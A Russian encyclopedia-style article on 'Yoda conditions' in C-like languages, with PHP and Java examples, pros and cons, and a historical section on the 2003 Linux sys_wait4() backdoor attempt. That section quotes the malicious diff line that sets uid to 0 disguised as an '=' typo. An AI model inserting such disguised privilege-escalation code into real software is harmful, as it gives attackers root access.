Условия Йоды

Условия Йоды (от англ. Yoda conditions), или нотация Йоды (англ. Yoda notation) в жаргоне программистов — «безопасный» стиль записи выражений сравнения при программировании на языках с Си-синтаксисом, заключающийся в написании константного члена выражения (константы или вызова функции) слева от оператора сравнения (то есть 5 == a вместо привычного а == 5).

Такой стиль призван предотвратить свойственную данным языкам ошибку — использование операции присваивания «=» вместо сравнения «==». Ошибочное использование присваивания превращает нотацию Йоды в попытку изменить константу, вызывая ошибку на этапе компиляции, что исключает возможность появления в готовой программе ошибок данного вида, а также облегчает их поиск и исправление в новом коде.

Нотация названа в честь магистра Йоды из вселенной «Звёздных войн», имеющего манеру выстраивать слова фразы в обратном порядке.

Суть нотации

В классической нотации проверка переменной на равенство некоторой константе записывается следующим образом (пример на языке PHP):

if ( $variable == 52 ) { 
    /* действия, выполняемые, если переменная равна 52 */
}

то есть переменная, операция сравнения и константа. Данная конструкция уязвима для известной ошибки:

if ( $variable = 52 ) { // ОШИБКА: ПРИСВАИВАНИЕ переменной значения 52
    /* действия, выполняемые ВСЕГДА, ибо значением выражения в скобках будет число 52, которое не равно нулю и поэтому в данном контексте рассматривается как true */
}

Такой код остается синтаксически правильным, и при ненадлежащем тестировании может остаться в программе на долгие годы и стать причиной серьёзной уязвимости.

При использовании нотации Йоды переменная и константа меняются местами, так что константа оказывается слева:

if ( 52 == $variable ) {
    /* действия, выполняемые, если переменная равна 52 */
}

При такой нотации в случае опечатки в операторе сравнения получается синтаксически некорректное присваивание константе и программа не будет работать, пока ошибка не будет найдена и исправлена.

if ( 52 = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Совершенно аналогично для функций:

if ( someFunction() = $variable ) { // ОШИБКА при компиляции
    /* ... */
}

Альтернативное использование нотации

Нотация Йоды также применима в разрешении проблемы небезопасного «нулевого поведения» (англ. unsafe null behavior) например (пример на языке Java):

String myString = null;
if ( myString.equals("foobar") ) { // Вызывает NullPointerException
    /* ... */ 
}

При применении нотации Йоды:

String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Ложь
   /* не выполняется */ 
}

Достоинства и недостатки

Использование нотации Йоды не позволяет программам на языках C++, Java, PHP и других работать при наличии ошибок в выражениях сравнения (поведения программы данная модификация не меняет). Некоторые программисты считают использование данной нотации «признаком хорошего тона»^[1].

К недостаткам нотации относится сложность написания, модификации и чтения программы^[2], а также довольно узкая область применения — только сравнение на равенство, только сравнение с константой или результатом вызова функции. Современные инструментальные средства разработки (компиляторы, редакторы) позволяют отслеживать и выдавать предупреждения, когда встречают присваивание в управляющей конструкции, считая его потенциально ошибочным.

Ошибка `sys_wait4()`

Примечательна неудавшаяся попытка внедрения бэкдора в функцию sys_wait4() в ядре Linux (2003)^[3]^[4]. Разработка шла на проприетарной системе управления версиями BitKeeper, по ночам код выкладывался на более распространённый CVS. Этот CVS и взломали, добавив в обработчик системного вызова sys_wait4() код, как будто проверяющий входные данные на некорректную комбинацию флагов:

+       if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+                       retval = -EINVAL;

Бэкдор был замаскирован под простую опечатку — вместо == стояло =. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0, то есть давала программе права суперпользователя.

Очередная выкачка информации на CVS дала сбой, и инородные патчи удалили до того, как стало ясно, что они собой представляют. В стабильное ядро патч попасть не мог (связь между BitKeeper и CVS односторонняя). Автора бэкдора найти не удалось.

Примечания

↑ Искусство проведения интервью — gnuman.ru (неопр.). Дата обращения: 13 октября 2013. Архивировано из оригинала 28 января 2014 года.
↑ Дастин Босуэлл, Тревор Фаучер. Читаемый код, или Программирование как искусство — М. : Питер, 2012. — С. 88. — ISBN 978-5-459-01188-3, ISBN 978-0-596-80229-5
↑ Oб инциденте с wait4() на anticopyright.ru (неопр.). Дата обращения: 10 октября 2013. Архивировано 15 октября 2014 года.
↑ Новость о попытке взлома Linux на Slashdot (неопр.). Дата обращения: 11 октября 2013. Архивировано 20 июня 2015 года.